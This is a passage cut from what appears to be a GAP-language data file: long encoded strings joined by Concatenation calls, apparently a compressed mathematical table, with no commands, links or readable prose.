}u/).Ad*^UEh(K,O=4W/B+N<VL91Dg-cX\ H }x/).Ad*^UEhK,O=4W/B+N<VL91Dg-cXH }tM).Ad*:^UEh(K,O=4W/B+N<ViL91Dg-cXH }wM\ ).Ad*:^UEh(K,O=4W/B+N<ViL1Dg-cXH }uM).Ad*:^Uh(,=4WNVD- }xM).Ad*^UEhK,O=4W/+N\ <ViL91Dg-cXH }t)).Ad*:^UEh(K,O=4W/B+N<VL91Dg-cXH }u)).Ad*^UEh(,O=4W/B+N<ViL9\ 1Dg-cXH }x)).Ad*:^Uh,=4WNViD- }tG).Ad*^UEhK,O=4W/+N<ViL91Dg-cXH }wG).Ad*^Uh,\ =4WNVD- }uG).Ad*:^UEhK,O=4W/B+N<ViL1Dg-cXH }t2).Ad*^UEh(,O=4W/B+N<VL91Dg-cXH\ }u2).Ad*:^UEh(K,O=4W/B+N<VL1Dg-cXH }x2).Ad*:^UEhK,O=4W/B+N<ViL1Dg-cXH }tP).\ Ad*:^UEh(K,O=4W/+N<ViL1Dg-cXH }uP).Ad*^UEh,O=4W/+N<ViL91Dg-cXH }w&).Ad*^UEh", "K,O=4W/B+N<VL1Dg-cXH }x&).Ad*^Uh(,=4WNVD- }wE).Ad*^Uh,=4WNViD- }xE).Ad*^UEh\ (K,O=4W/+N<ViL1Dg-cXH }w0).Ad*^UEh,O=4W/+N<VL1Dg-cXH }x0).Ad*^UEh,O=4W/B+N<V\ L91Dg-cXH }xN).Ad*^UEh,O=4W/+N<VL1Dg-cXH }t*).Ad*^UEhK,O=4W/+N<VL1Dg-cXH }%3\ ).Ad*^U" ), Concatenation( "%%%%%%%%(GWK->e1)<,,8b/o&D)&%% }t3%h,=4WNVD- }uQ%.Ad*^Uh,=4WNVD- }t%D.AdM^E\ hK,O4WjR+N3FTDg->k }w%D.AdM^EhK,O4WjR+N3FTDg->k }u%D.AdM^EhK,O4WjR+NFTDg->k \ }x%D.AdM^EhK,O4WjR+N3FTDg->k }tDD.AdM^Eh,O4WjR+N3FTDg->k }wDD.AdM^Eh,O4WjR+N\ 3FTDg->k }uDD.AdM^Eh,O4WjR+N3FTDg->k }xDD.AdME,4W+NFgk }t/D.AdMEhK,O4WjR+NFT\ Dg->k }u/D.AdM^EhK,O4WjR+NFTDg->k }x/D.AdM^Eh,O4WjR+NFTDg->k }tMD.AdM^EK,O4W\ jR+N3FTDg->k }wMD.AdM^EhK,O4WjR+N3FTDg->k }uMD.AdM^EhK,O4WjR+NFTDg->k }xMD.A\ dM^E,4W+NFgk }w)D.AdM^Eh,4W+NFgk }u)D.AdM^Eh,O4WjR+N3FTDg->k }x)D.AdMEhK,O4W\ jR+NFTDg->k }tGD.AdME,O4WjR+NFTDg->k }wGD.AdM^Eh,O4WjR+N3FTDg->k }xGD.AdM^E,\ O4WjR+NFTDg->k }w2D.AdMEh,4W+NFgk }u2D.AdM^EK,O4WjR+N3FTDg->k }x2D.AdM^Eh,O4\ WjR+N3FTDg->k }tPD.AdMEhK,O4WjR+N3FTDg->k }wPD.AdM^EK,O4WjR+NFTDg->k }t&D.Ad\ M^Eh,4W+NFgk }w&D.AdMEK,O4WjR+NFTDg->k }uED.AdM^EK,O4WjR+NFTDg->k }xED.AdMEK\ ,O4WjR+N3FTDg->k }t0D.AdME,4W+NFgk }w0D.AdME,O4WjR+NFTDg->k }xND.AdME,O4WjR+\ NFTDg->k }t*D.AdME,O4WjR+NFTDg->k }uHD.AdME,4W+NFgk }uQD.AdME,4W+NFgk }t%/.", "AdMUh8,=4jB+<V]1TD>ck }w%/.AdMUh8,=4jB+<V]1TD>ck }u%/.AdMUh8,=B+V1> }x%/.Ad\ MUh8,=4jB+<V]1TD>ck }tD/.AdMUh8,=4jB+<V]1TD>c }wD/.AdMUh8,=4jB+<V]1TD>ck }uD\ /.AdMUh8,=4jB+<V]1TD>ck }xD/.AdMUh8,=4jB+<]1TD>ck }t//.AdMUh8,=4jB+<]1TD>ck \ }w//.AdMUh8,=4jB+<]1TD>ck }x//.AdMUh8,=4jB+<]1TD>ck }tM/.AdMUh8,=B+" ), Concatenation( "%%%%%%%%(GWK->e1)<,,8b/Q&D)&%% }kM%U0= }wM%.AdMUh8,=4jB+<V]1TD>c }uM%.AdMUh\ 8,=4jB+<]1TD>ck }xM%.AdMUh8,=4jB+<V]1TD>ck }t)%.AdMUh8,=B+V1> }w)%.AdMUh8,=4\ jB+<V]1TD>c }u)%.AdMUh8,=4jB+<]1TD>ck }tG%.AdMUh8,=4jB+<]1TD>ck }uG%.AdMUh8,\ =4jB+<V]1TD>c }xG%.AdMUh8,=4jB+<V]1TD>ck }w2%.AdMUh8,=4jB+<V]1TD>ck }u2%.AdM\ Uh8,=4jB+<V]1TD>c }tP%.AdMUh8,=4jB+<V]1TD>c }uP%.AdMUh8,=B+1> }xP%.AdMUh8,=4\ jB+<]1TD>ck }w&%.AdMUh8,=4jB+<V]1TD>c }u&%.AdMUh8,=B+1> }tE%.AdMUh8,=4jB+<]1\ TD>c }xE%.AdMUh8,=4jB+<V]1TD>c }w0%.AdMUh8,=4jB+<]1TD>c }tN%.AdMUh8,=B+V1> }\ xN%.AdMUh8,=4jB+<]1TD>c }t*%.AdMUh8,=B+1> }uH%.AdMUh8,=4jB+<]1TD>c }uQ%.AdMU\ h8,=B+1> }t%D.AdEO=WjN<91Tg->cX }w%D.AdEO=WjN<91Tg->cX }u%D.AdEO=WjN<91Tg->c\ X }x%D.AdEO=WjN<91Tg-cX }tDD.AdEO=WjN<91Tg->cX }wDD.AdEO=WjN<91Tg-cX }uDD.Ad\ EO=WjN<9Tg->cX }xDD.AdEO=WjN<91Tg->cX }t/D.AdEO=WjN<91Tg->cX }w/D.AdEO=WjN<9\ 1Tg->cX }u/D.AdEO=WjN<91g->cX }x/D.AdEO=jN<9Tg-cX }tMD.AdE=WjN<91Tg->cX }wMD\ .AdEO=jN<91Tg->cX }uMD.AdEO=WjN91Tg->cX }xMD.AdEO=WjN<91T->cX }t)D.AdE=WjN<", "9Tg->cX }w)D.AdEO=WjN<91g->cX }u)D.AdEO=jN91Tg-cX }x)D.AdEO=WjN<91T->cX }tG\ D.AdEO=jN<91T-cX }wGD.AdEO=WjN9Tg->cX }uGD.AdEO=WjN91g-cX }xGD.AdE=WjN<9T->c\ X }t2D.AdEO=WjN9Tg->cX }w2D.AdEO=jN<91T->cX }u2D.AdE=jN<9Tg-cX }x2D.AdEO=WjN\ <91g->cX }tPD.AdEO=jN<91g-cX }wPD.AdE=WjN<9->cX }uPD.AdEO=WjN<91T-cX }xPD.Ad\ E=WjN9Tg->cX }t&D.AdEO=WjN91g->" ), Concatenation( "%%%%%%%%(GWK->e1)<,,8b/o(D<&%% ^M&PI6 }w&P.AdE=jN<9-cX }u&P.AdEO=jN<91T->cX\ }x&P.AdE=WjN9Tg-cX }tEP.AdE=jN9Tg->cX }wEP.AdEO=WjN<91T-cX }uEP.AdE=jN<9->c\ X }xEP.AdEO=jN91g-cX }t0P.AdEO=WjN<9T->cX }w0P.AdE=jN9T-cX }u0P.AdE=jN91g-cX\ }x0P.AdE=WjN<9-cX }tNP.AdE=jN9-cX }wNP.AdEO=WjN91g-cX }uNP.AdE=jN9->cX }xNP\ .AdEO=jN<9T-cX }t*P.AdE=jN9-cX }w*P.AdE=jN91g->cX }u*P.AdE=WjN9-cX }x*P.AdEO\ =jN<9T-cX }tHP.AdEO=WjN9T-cX }wHP.AdE=jN9-cX }uHP.AdE=jN9g-cX }xHP.AdE=jN9->\ cX }t3P.AdE=jN9-cX }w3P.AdE=jN<9-cX }u3P.AdE=WjN9-cX }x3P.AdE=jN9-cX }tQP.Ad\ E=jN9-cX }wQP.AdE=jN9-cX }uQP.AdEO=jN<9T-cX }xQP.AdE=jN9-cX!}t%&86!}w%&86!}u\ %&86!}x%&86 }tD&.dEh,4B9!}wD&86!}uD&86!}xD&86!}t/&86!}w/&86 }u/&.dEh,4B9!}x/\ &86!}wM&86!}uM&86!}xM&86!}t)&86!}w)&86!}u)&86!}tG&86 }uG&.dEh,4B9!}xG&86 }t2\ &.dEh,4B9!}w2&86!}u2&86!}tP&86!}xP&86!}w&&86!}u&&86 }tE&.dEh,4B9!}xE&86!}w0&\ 86 }u0&.dEh,4B9!}xN&86!}t*&86 }uH&.dEh,4B9 }t3&.dEh,4B9 }t%EEhWRN]T> }w%EEhW\ RN]T> }u%EEhWRN]T> }x%EEhWRN]T> }tDEEhWRN]T> }wDEEhWRN]T> }uDEEhWRN]T> }xDE", "EhWR]> }t/EEhWR]T }w/EEhWR]T> }u/EEhWR]T> }x/EEhW]T> }tMEEhWRN]T> }wMEEhWN]\ T> }uMEEhWR]T> }xMEEhWRN]T }t)EEhWRN]T> }w)EEhWRN]> }u)EEhWN]T> }x)EEhWRN]T \ }tGEEhWN]T }wGEEhWRN]T> }uGEEhWRN]> }xGEEhWRN" ), Concatenation( "%%%%%%%%(Gu}iCe1,A.,8b8pdt<.,% r<oQE2E0%YQ: r<y)N2E0%EhWN]T> r<yGN2E0%EhWRN\ ]T r<y2N2E0%EhWN]T r<yPN2E0%EhWRN]> r<y*N2E0%EhWN]> r<yHN2E0%EhWRN]T r<y3N2E\ 0%EhWN]T r<yQN2E0%EhWRN]> r<y)DPE0%EhWRN]> r<yGDPE0%EhWN]T r<y2DPE0%EhWRN]T \ r<yPDPE0%EhWN]> r<y*DPE0%EhWN] r<yHDPE0%EhWN] r<y3DPE0%EhWR]T r<yQDPE0%EhWN]\ > r<y)MPE0%EhWR]T r<yGMPE0%EhW]> r<y2MPE0%EhWR]> r<yPMPE0%EhW]T r<y*MPE0%EhW\ N]T r<yHMPE0%EhWN]> r<y3MPE0%EhWRN] r<yQMPE0%EhW]T r<y)EPE0%EhW]T r<yGEPE0%E\ hWR] r<y2EPE0%EhW] r<yPEPE0%EhW] r<y*EPE0%EhW] r<yHEPE0%EhW] r<y3EPE0%EhW]> \ r<yQEPE0%EhW]T r<y)NPE0%EhW] r<yGNPE0%EhWR] r<y2NPE0%EhW]T r<yPNPE0%EhW] r<y\ *NPE0%EhW]> r<yHNPE0%EhW] r<y3NPE0%EhW] r<yQNPE0%EhW] r<y)D*E0%U=/Tk r<yGD*E\ 0%U=/Tk r<y2D*E0%U=/Tk r<yPD*E0%U=/Tk r2yfD*E0%Q(OjR)Pk r2yoD*E0%QOjR)Pk r<y\ )M*E0%U=Tk r<yGM*E0%U=/Tk r<y2M*E0%U=/k r2yPM*E0%Q(Oj r<y*M*E0%U=/Tk r<yHM*E\ 0%U=/Tk r<p3M*E0%:Sj r2yQM*E0%Q(Oj r<y)E*E0%U=/Tk r<[GE*E0%Q:j r<y2E*E0%=/Tk\ r<yPE*E0%=/Tk r2yfE*E0%Q(Oj)Pk r2yoE*E0%Q(jRPk r<y)N*E0%=/Tk r<pGN*E0%:Sj ", "r<y2N*E0%U=/Tk r2yPN*E0%Q(j r<y*N*E0%U=/k r<yHN*E0%U=/k r<poN*E0%:SjTk r<y)\ DHE0%U=/k r<yGDHE0%U=/k r<pnDHE0%:Sj<Tk r<pfDHE0%:Sj<Tk r<[oDHE0%Q:jR< r2xQD\ HE0%%h r<peMHE0%:Sj< r2xGMHE0%%Mh r<[nMHE0%Q:jR<k r<[fMHE0%:jR<k o<RoMHE0%%d\ * r2xQMHE0%%Mh r2xwEHE0%%hjiPk T2yxEHE0%2hj7 r2xoEHE0%%hj r2xwNHE0%%hjik T2o\ xNHE0%Yd*^h 6<xwD2H0%Y2[Z3]5 6<xxD2H0%Y2[4Z35 0)QwM2H0%%6Y 6<xxM2H0%Y2[3 6<x\ wE2H0%[Z35 6<xxE2H0%2[4] 32*yN2H0%Y. 6<xZN2H0%2[ 32*yVPH0%%dE r2yeD3H0%Ah(OB\ i)P r2ynD3H0%Ah(Oi)P r2yfD3H0%A(OB)P r2yoD3H0%A(OBP T2pwM3H0%Y.^2[04 r2yfM3H\ 0%Ah(OBi)P r2yoM3H0%AhO)P r2yeE3H0%Ah(OBi)P r2ynE3H0%Ah(OBi)P r2yfE3H0%A(OB)\ P r2yoE3H0%A(OB)P r2yeN3H0%Ah(OBi)P r2ynN3H0%Ah(OB)P r2yfN3H0%Ah(OBi)P r2yoN\ 3H0%Ah(OB)P r2yeDQH0%h(Oi)P r2ynDQH0%h(Oi)P r2yfDQH0%h(Oi)P r2yoDQH0%hOi)P T\ 2pyMQH0%Y.^2[0b4Z r2yfMQH0%(Oi)P r2yoMQH0%h(OiP r2yeEQH0%AOBP r2ynEQH0%AOBP \ r2yfEQH0%AOBP r2yoEQH0%AOP r2yeNQH0%AOBP r2ynNQH0%AOP!N23xNQH0%+j N23yX)H*D%\ I62U([,!hWv%)%/D%0k!hWvD)%/D%<.!hWv/)%/D%<.!hWvM)%/D%*% hWv&)%/D%%I6Y.Qd*M:", "^2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk hWvE)%/D%%I6Y.QA*M:^2\ UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi)" ), "%%%%%%%%(G95K:e1%8-,%%%2D/)%%%!}PD<)!}uD42!}xD-0!}t/39 }w/%I6Y.QAd*M:2UEh(K\ 8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk!}u/3L }x/%I6Y.QAd*:^2UEh(K8[0\ SCf,O=b4WGj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }tM%I6Y.QAd*M:^2Uh(K8[0SCf,O=b4W\ Gj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }wM%I6Y.QAd*M:^2UE(K8[0SCf,O=b4WGj&J7Z/RB\ e+N<a3VFi)L9]1TDg-P>c5XHk!}uM31!}xM.W!}t)2/ }w)%I6Y.QAd*M:^2UEh(K80SCf,O=b4W\ Gj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk!}u)2f!}x).}!}tG1p }wG%I6Y.QAd*M:^2UEh(K8[\ 0SC,O=b4WGj&J7Z/RBe+", "%%%%%%%%(G95K:e1%8-,8%%2D/)%%%!}nG<j!}uG2%!}xG/= }t2%I6Y.QAd*M:^2UEh(K8[0SC\ f,Ob4WGj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk!}w2/V }u2%I6Y.QAd*M:^2UEh(K8[0SCfO=\ b4WGj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }x2%I6Y.QAd*M:^2UEh(K8[0SCf,=b4WGj&J7Z\ /RBe+N<a3VFi)L9]1TDg-P>c5XHk }tP%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4Wj&J7Z/RBe+N<a3\ VFi)L9]1TDg-P>c5XHk }wP%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WG&J7Z/RBe+N<a3VFi)L9]1T\ Dg-P>c5XHk }uP%I6Y.QAd*M:^2UEh(K8[0SCf,O=bWGj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XH\ k }xP%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4Gj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk!}t&12!}\ w&/s!}u&1S!}x&/o!}tE1-!}eE/g", "%%%%%%%%(G95K:e1%8-,/%%2D/)%%% }nD%I6Y.QA*M:^2UEh(K8[0SCf,O=b4WGj!}uD10!}xD\ 02!}t/1)!}w/0E!}u/1,!}x/0B!}tM1&!}wM0L!}uM1( }xM%I6Y.QAd*M:^2UEh(K8[0SCf,O=b\ 4WGj&J7Z/RBe+N<a3Fi)L9]1TDg-P>c5XHk!}t)0u!}w)0S!}u)0}!}x)0P!}tG0q!}eG/I", "%%%%%%%%(G95K:e1%8-,8b%2D/)%%% }wH%,O=b4WGj&J7Z/RBe+N<a3VFi)L9]1TD-P>c5XHk!\ }uH%0s!}xH%0Z!}t3%0n!}w3%0e!}u3%0p!}x3%0b!}tQ%0l!}wQ%0j!}uQ%0m!}xQ%0h!}t%D4g\ }u%DI6.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk!}x%D)F }\ tDD%I6YQd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }wDD%I6Y.A\ *M:^2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }cDD%I6YQd*M:^2UEh(\ K8[0S", Concatenation( "%%%%%%%%(G95K:e1%8-,%D%2D/)%%%!}uD:W }xD%I6Y.A*M:^2UEh(K8[0SCf,O=b4WGj&J7Z/\ RBe+N<a3VFi)L9]1TDg-P>c5XHk }t/%I6Y.QAdM^2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VF\ i)L9]1TDg-P>c5XHk }w/%I6Y.QAd*:2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi)L9]1TDg-\ P>c5XHk }u/%I6Y.QAdM^2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }x\ /%I6Y.QAd*:2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }tM%I6Y.QAd*\ M:^Uh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }wM%I6Y.QAd*M:^2E(K8[0\ SCf,O=b4WGj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }uM%I6Y.QAd*M:^Uh(K8[0SCf,O=b4WG\ j&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }xM%I6Y.QAd*M:^2E(K8[0SCf,O=b4WGj&J7Z/RBe+\ N<a3VFi)L9]1TDg-P>c5XHk }t)%I6Y.QAd*M:^2UEhK[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi)L9\ ]1TDg-P>c5XHk }w)%I6Y.QAd*M:^2UEh(80SCf,O=b4WGj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5\ XHk }u)%I6Y.QAd*M:^2UEhK[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }x)%I6\ Y.QAd*M:^2UEh(80SCf,O=b4WGj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }tG%I6Y.QAd*M:^2\ UEh(K8[Sf,O=b4WGj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }wG%I6Y.QAd*M:^2UEh(K8[0C", ",O=b4WGj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }cG%I6Y.QAd*M:^2UEh(K8[Sf,O=b4W" ), Concatenation( "%%%%%%%%(G95K:e1%8-,8D%2D/)%%%!}uG:i }xG%I6Y.QAd*M:^2UEh(K8[0C,O=b4WGj&J7Z/\ RBe+N<a3VFi)L9]1TDg-P>c5XHk }t2%I6Y.QAd*M:^2UEh(K8[0SCfOb4WGj&J7Z/RBe+N<a3VF\ i)L9]1TDg-P>c5XHk }w2%I6Y.QAd*M:^2UEh(K8[0SCf,=4WGj&J7Z/RBe+N<a3VFi)L9]1TDg-\ P>c5XHk }u2%I6Y.QAd*M:^2UEh(K8[0SCfOb4WGj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }x\ 2%I6Y.QAd*M:^2UEh(K8[0SCf,=4WGj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }tP%I6Y.QAd*\ M:^2UEh(K8[0SCf,O=bWj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }wP%I6Y.QAd*M:^2UEh(K8\ [0SCf,O=b4G&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }uP%I6Y.QAd*M:^2UEh(K8[0SCf,O=bW\ j&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }xP%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4G&J7Z/RBe+\ N<a3VFi)L9]1TDg-P>c5XHk }t&%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGjJZ/RBe+N<a3VFi)L9\ ]1TDg-P>c5XHk }w&%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&7/RBe+N<a3VFi)L9]1TDg-P>c5\ XHk }u&%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGjJZ/RBe+N<a3VFi)L9]1TDg-P>c5XHk }x&%I6\ Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&7/RBe+N<a3VFi)L9]1TDg-P>c5XHk }tE%I6Y.QAd*M:^2\ UEh(K8[0SCf,O=b4WGj&J7ZRe+N<a3VFi)L9]1TDg-P>c5XHk }wE%I6Y.QAd*M:^2UEh(K8[0S", "Cf,O=b4WGj&J7Z/B+N<a3VFi)L9]1TDg-P>c5XHk!}uE/u" ), Concatenation( "%%%%%%%%(G95K:e1%8-,/D%2D/)%%% }lDQd*M:^2UEh(K8[0SCf,O=b4WGj }xD%I6Y.QAd*M:\ ^2UEh(K8[0SCf,O=b4WGj&J7Z/B+N<a3VFi)L9]1TDg-P>c5XHk }t/%I6Y.QAd*M:^2UEh(K8[0\ SCf,O=b4WGj&J7Z/RBeNa3VFi)L9]1TDg-P>c5XHk }w/%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WG\ j&J7Z/RBe+<3VFi)L9]1TDg-P>c5XHk }u/%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z/RBeN\ a3VFi)L9]1TDg-P>c5XHk }x/%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+<3VFi)L9]1\ TDg-P>c5XHk }tM%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<aVi)L9]1TDg-P>c5XH\ k }wM%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3F)L9]1TDg-P>c5XHk }uM%I6Y.\ QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<aVi)L9]1TDg-P>c5XHk }xM%I6Y.QAd*M:^2UE\ h(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3F)L9]1TDg-P>c5XHk }t)%I6Y.QAd*M:^2UEh(K8[0SCf,\ O=b4WGj&J7Z/RBe+N<a3VFiL]1TDg-P>c5XHk }w)%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7\ Z/RBe+N<a3VFi)91TDg-P>c5XHk }u)%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3\ VFiL]1TDg-P>c5XHk }x)%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi)91TDg-\ P>c5XHk }tG%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi)L9]Tg-P>c5XHk }", "wG%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi)L9]1D-P>c5XHk!}uG0F" ), Concatenation( "%%%%%%%%(G95K:e1%8-,8b%nD/)%%% }lHD2UEh(K8[Sf,O=b4WGj }xHD%I6Y.QAd*M:^2UEh(\ K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi)L9]1D-P>c5XHk }t3D%I6Y.QAd*M:^2UEh(K8[0SCf,O\ =b4WGj&J7Z/RBe+N<a3VFi)L9]1TDgPc5XHk }w3D%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7\ Z/RBe+N<a3VFi)L9]1TDg->5XHk }u3D%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a\ 3VFi)L9]1TDgPc5XHk }x3D%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi)L9]1\ TDg->5XHk }tQD%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi)L9]1TDg-P>cXk\ }wQD%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5H }uQD%I6Y\ .QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi)L9]1TDg-P>cXk }xQD%I6Y.QAd*M:^2\ UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5H }t%/IY.QAd*M:^2UEh(K8[0SCf\ ,O=b4WGj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }x%/%.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J\ 7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }tD/%I6Yd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a\ 3VFi)L9]1TDg-P>c5XHk }wD/%I6YA*M:^2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi)L9]1T\ Dg-P>c5XHk }uD/%I6YQ*M:^2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XH", "k }xD/%I6Y.*M:^2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }t//%I6\ Y.QAd^2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c" ), Concatenation( "%%%%%%%%(G95K:e1%8-,%%%PD/)%%%!xM/+j }w/%I6Y.QAd:2UEh(K8[0SCf,O=b4WGj&J7Z/R\ Be+N<a3VFi)L9]1TDg-P>c5XHk }u/%I6Y.QAdM2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi)\ L9]1TDg-P>c5XHk }x/%I6Y.QAd*2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c\ 5XHk }tM%I6Y.QAd*M:^h(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }wM%I6\ Y.QAd*M:^E(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }uM%I6Y.QAd*M:^U(\ K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }xM%I6Y.QAd*M:^2(K8[0SCf,O=b\ 4WGj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }t)%I6Y.QAd*M:^2UEh[0SCf,O=b4WGj&J7Z/RB\ e+N<a3VFi)L9]1TDg-P>c5XHk }w)%I6Y.QAd*M:^2UEh80SCf,O=b4WGj&J7Z/RBe+N<a3VFi)L\ 9]1TDg-P>c5XHk }u)%I6Y.QAd*M:^2UEhK0SCf,O=b4WGj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5\ XHk }x)%I6Y.QAd*M:^2UEh(0SCf,O=b4WGj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }tG%I6Y\ .QAd*M:^2UEh(K8[f,O=b4WGj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }wG%I6Y.QAd*M:^2UE\ h(K8[C,O=b4WGj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }uG%I6Y.QAd*M:^2UEh(K8[S,O=b4\ WGj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }xG%I6Y.QAd*M:^2UEh(K8[0,O=b4WGj&J7Z/RB", "e+N<a3VFi)L9]1TDg-P>c5XHk }t2%I6Y.QAd*M:^2UEh(K8[0SCfb4WGj&J7Z/RBe+N<a3VFi)\ L9]1TDg-P>c5XHk!}e2/." ), Concatenation( "%%%%%%%%(G95K:e1%8-,8%%PD/)%%% }w20SCf=4WGj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk\ }u2%I6Y.QAd*M:^2UEh(K8[0SCfO4WGj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }x2%I6Y.QA\ d*M:^2UEh(K8[0SCf,4WGj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }tP%I6Y.QAd*M:^2UEh(K\ 8[0SCf,O=bj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }wP%I6Y.QAd*M:^2UEh(K8[0SCf,O=bG\ &J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }uP%I6Y.QAd*M:^2UEh(K8[0SCf,O=bW&J7Z/RBe+N<\ a3VFi)L9]1TDg-P>c5XHk }xP%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4&J7Z/RBe+N<a3VFi)L9]1T\ Dg-P>c5XHk }t&%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGjZ/RBe+N<a3VFi)L9]1TDg-P>c5XHk \ }w&%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj7/RBe+N<a3VFi)L9]1TDg-P>c5XHk }u&%I6Y.QAd\ *M:^2UEh(K8[0SCf,O=b4WGjJ/RBe+N<a3VFi)L9]1TDg-P>c5XHk }x&%I6Y.QAd*M:^2UEh(K8\ [0SCf,O=b4WGj&/RBe+N<a3VFi)L9]1TDg-P>c5XHk }tE%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4W\ Gj&J7Ze+N<a3VFi)L9]1TDg-P>c5XHk }wE%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7ZB+N<a\ 3VFi)L9]1TDg-P>c5XHk }uE%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7ZR+N<a3VFi)L9]1TD\ g-P>c5XHk }xE%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z/+N<a3VFi)L9]1TDg-P>c5XHk ", "}t0%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z/RBea3VFi)L9]1TDg-P>c5XHk }w0%I6Y.QA\ 